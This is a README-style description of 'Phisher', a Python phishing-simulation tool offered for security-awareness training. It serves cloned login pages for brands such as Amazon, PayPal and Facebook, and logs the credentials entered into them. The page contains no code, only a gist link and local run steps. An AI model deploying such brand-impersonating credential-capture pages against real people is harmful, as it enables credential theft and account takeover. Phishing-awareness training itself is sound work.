Professional Phishing Awareness and Cybersecurity Education Platform

IMPORTANT: This tool is for EDUCATIONAL PURPOSES ONLY. Use responsibly in controlled environments with explicit permission.

• Overview
• Key Features
• Why This Matters
• Installation
• Usage Guide
• Templates Availabe
• Educational Value
• Legal & Ethical Use

Phisher is an advanced cybersecurity education tool designed to demonstrate how phishing attacks work in a safe, controlled environment. It provides security professionals, educators, and organizations with realistic phishing simulations to train employees and students in identifying and preventing social engineering attacks.

This tool creates multiple authentic-looking login pages that simulate real-world phishing scenarios, capturing demonstration credentials while providing immediate educational feedback about phishing techniques and prevention strategies.

• Nine Different Phishing Scenarios: Corporate, Banking, Healthcare, E-commerce, Social Media

• Authentic UI/UX: Each template mimics real login pages with professional design

• Responsive Design: Works seamlessly across desktop and mobile devices

• Live Credential Capture: Shows exactly how attackers harvest information

• Educational Feedback: Immediate learning after form submission

• Data Analytics: View captured demonstration data with proper masking

• Phishing Identification: Teaches red flags and warning signs

• Prevention Strategies: Best practices for cybersecurity hygiene

• Interactive Learning: Hands-on experience in safe environment

• Self-contained: No external dependencies beyond Python standard library

• Cross-platform: Runs on Windows, macOS, and Linux

• Customizable: Easy to modify templates and add new scenarios

• 91% of cyber attacks start with phishing emails

• $12.5+ billion lost to Business Email Compromise since 2013

• 76% of organizations experienced phishing attacks in 2024

Traditional security training often fails because it's theoretical. Phisher bridges this gap by providing:

• Practical Experience: Hands-on interaction with simulated attacks

• Safe Environment: Zero-risk learning with fake credentials

• Memory Reinforcement: Visual and interactive learning improves retention

• Behavioral Change: Builds instinctive recognition of phishing attempts

• Python 3.6 or higher
• No additional packages required!

Kindly follow the link below, copy and install the tool’s script using nano:

https://gist.github.com/techenthusiast167/c66756db54cfb26b47f6ef8abdaf3bb5

No pip install required! All dependencies are in Python standard library

Step 1: Start the Server

python3 phisher.py

Step 2: Access the Platform

Open your browser to: http://localhost:8080

Step 3: Select a Template

Choose from 9 different phishing scenarios:

• Corporate Portal • Online Banking • Health Portal • Amazon • PayPal • Twitter/X • LinkedIn • Facebook • Instagram

Step 4: Interactive Learning

• Enter fake credentials in the simulated login forms

• Observe real-time capture in the terminal or scroll down and click on View capture data in the blue box.

• Receive educational feedback about phishing techniques

• Optional: Review captured data at /captured-data endpoint

Step 5: Educational Review

• Analyze what made each template convincing

• Discuss red flags and detection methods Review cybersecurity best practices

Template - Category - Key Learning Points

Corporate Portal Enterprise: Urgency tactics, branding abuse

Online Banking: Financial - Fake security alerts, account verification scams

Healthcare Portal: Medical - HIPAA compliance spoofing, test result lures

Amazon: E-commerce - Fake order alerts, account suspension threats

PayPal: Payments - Payment verification, security update scams

Social Media: Social Platforms - Account security, fake login attempts

Professional Networks: Business - Career opportunity lures, connection requests

For Security Teams

• Security Awareness Training: Supplement existing programs

• Phishing Simulation Testing: Measure employee susceptibility

• Incident Response Practice: Train detection and reporting procedures For Educators

• Cybersecurity Curriculum: Hands-on component for courses

• Digital Literacy: Teach safe online behavior

• Critical Thinking: Develop skepticism and verification skills For Organizations

• Compliance Training: Meet security awareness requirements

• Risk Reduction: Decrease successful phishing attempts

• Culture Building: Foster security-conscious workforce

Strictly Prohibited

• Using real credentials or personal information

• Deploying without explicit written permission

• Targeting individuals without consent Using for malicious purposes

• Controlled Environments: Lab settings, training sessions

• Explicit Permission: Written consent from all participants

• Educational Context: Clear learning objectives and debriefing

• Data Protection: No real data collection or storage

• GitHub Issues: Report bugs or suggest features

• Security Updates: Watch repository for announcements

• Community: Share your educational experiences

Stay Safe, Stay Secure!